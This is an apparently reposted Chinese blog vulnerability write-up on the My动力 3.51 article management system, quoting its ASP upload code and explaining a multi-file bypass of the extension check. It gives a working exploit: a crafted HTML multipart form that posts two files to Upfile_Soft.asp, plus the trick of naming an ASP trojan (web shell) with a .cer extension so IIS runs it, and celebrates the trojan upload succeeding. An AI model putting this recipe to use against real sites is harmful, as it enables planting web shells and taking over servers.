动力3.51 漏洞
来源:互联网 发布:linux下编辑文件命令 编辑:程序博客网 时间:2024/04/29 21:47
一.概述
My动力文章管理系统是由asp163.net开发的一套文章管理系统,最近由于要做个网站就对他的代码 研究了一下,呵呵,虽然webboy对My动力做了不少安全措施,防止了可能的sqlinjection攻击,但这样似乎给人一种非常安全的错觉,我们一 起来分析一下吧。
我们先到网站上面注册一个用户,进入用户的文章管理看看,可以添加软件,添加图片……,看看可以上传东西吧,但 是My动力文件管理系统似乎限制只允许已定义的文件后缀上传,如软件只允许rar|zip|exe|mpg|rm|wav|mid格式,有没有办法突破 呢?
二.漏洞详细分析过程
其实仔细研究一下是发现有可能上传ASP文件的!大家看Upfile_Soft.asp的这一段代码(其他用于上传的文件类似):
const UpFileType="rar|zip|exe|mpg|rm|wav|mid" '定义了可以上传的文件类型
...
dim EnableUpload '定义了是否允许上传的关键变量
...
FoundErr=false '默认FoundErr变量为假,即没有发现错误(哈哈,关键变量哦,看下面)
EnableUpload=false '默认EnableUpload变量为假,即不能上传(哈哈,关键变量哦)
...
for each formName in upload.file'列出所有上传了的文件(!关键,注意这个FOR循环!)
set ofile=upload.file(formName) '生成一个文件对象
...
arrUpFileType=split(UpFileType,"|") '取得定义的可以上传的后缀名
for i=0 to ubound(arrUpFileType)
if fileEXT=trim(arrUpFileType(i)) then
EnableUpload=true 'hoho,EnableUpload变量改变了!
exit for
end if
next
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then '呵呵,只要是ASP,ASA,ASPX的后缀就废掉了,难怪海洋顶端上不去阿!
EnableUpload=false
end if
if EnableUpload=false then
msg="这种文件类型不允许上传!/n/n只允许上传这几种文件类型:" & UpFileType
FoundErr=true 'hoho,FoundErr变量改变了!
end if
...
if FoundErr<>true then '又是一个重要地方,看来FoundErr变量是能否上传的关键,那如何决定FoundErr变量呢?(草草虫ps:偶可以瞪大了眼睛看啊)
randomize
ranNum =int(900*rnd)+100 '生成一个随机数 filename=SavePath& year(now)&month(now)&day(now)&hour(now)&minute(now)&second (now)&ranNum&"."&fileExt '没有改变上传文件的后缀,爽阿
...
ofile.SaveToFile Server.mappath(FileName) '保存文件
response.write "软件上传成功!软件大小为:" & cstr(round(oFileSize/1024)) & "K"
strJS=strJS & "parent.document.myform.DownloadUrl1.value='" & fileName & "';" & vbcrlf '晕拉~还返回上传后改的名字,这回好了,不用猜了。
strJS=strJS & "parent.document.myform.SoftSize.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
注:...表示省略了部分代码
大家研究一下这段代码会发现,My动力使用了化境无组件上传类来上传,而化境的无组件上传类可以上传多个文件,for each formName in upload.file这一句就是用于取得所有form中取得的文件名。第二个for循环for i=0 to ubound(arrUpFileType)用于检测文件类型,如果不满足条件则关键变量EnableUpload为默认值false,而 EnableUpload为默认值false时又导致关键变量FoundErr值得改变为true,我们的目的就是想办法避免FoundErr值的改变, 让他保持默认值false,我们注意到if fileEXT=trim(arrUpFileType(i)) then这一句如果满足条件则EnableUpload为真,那么当有多个文件用于上传时,作者考虑到了么?显然是没有的,虽然各上传界面的都是只有一个 上传提交框,但我们可以在本地自己构造阿~
文件后缀条件,跳过,我的文件不是asp等后缀,再跳过if语句,呵呵,EnableUpload变量保持为第一次循环的true值,这样保证了FoundErr也没改变,哈哈哈哈,木马上传成功!!!
这里用了一个小技巧,大家肯定发现了,我的asp木马没用asp后缀,是因为程序作了限制,但是限制的不全,因为iis中调用asp文件的是asp.dll,asp.dll的应用程序映射还包括.cdx和.cerok拉,我们的.cer后缀一样可以运行。
三.小结Exploits
再总结一下发现过程,我们倒推一下,FoundErr变量决定能否上传而且只要保持默认值就可以上传,但EnableUpload变量决定了 FoundErr的改变,只要能改变EnableUpload变量的默认值false就好了即要EnableUpload=true这一句执行,呵呵
看 看怎样能改变EnableUpload的默认值,只有当fileEXT=trim(arrUpFileType(i))即文件后缀名满足条件,在第一个 for循环中如果改变EnableUpload值的话,第二次循环中EnableUpload值也就会保持下来,从而FoundErr也保持为 false。
四.攻击测试
攻击方法,自己建立一个用户上传的叶面,如
<html><body>
<form action="http://127.0.0.1:1234/Upfile_Soft.asp"; method="post" name="form1" onSubmit="return check()" enctype="multipart/form-data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上传" style="border:1px double rgb(88,88,88);font:9pt">
</form></body></html>
- 动力3.51 漏洞
- 利用乐动力App的漏洞刷微信步数
- 动力
- 动力
- 动力
- 动力
- 动力
- 动力
- 动力
- 持续动力
- 压力?动力?
- 目标 ---动力
- 学习动力
- 压力、动力
- 学习动力
- 动力碰撞
- 混合动力汽车 动力性能试验方法
- 动力效果之动力元素特效
- 详探TextRange对象--用execCommand()执行命令
- 李恒毅无罪!?
- Visual C++线程同步技术剖析
- TCP/IP学习笔记(四)
- 创建一个驱动程序安装应用程序的过程
- 动力3.51 漏洞
- IT认证考试网
- 中国IT实验室
- 中国MSDN
- ITPUB论坛
- Hibernate二级缓存攻略
- 随笔(05)
- 引用MSDN03中对于编码方法的内容
- 作为一个合格程序员每天该做的事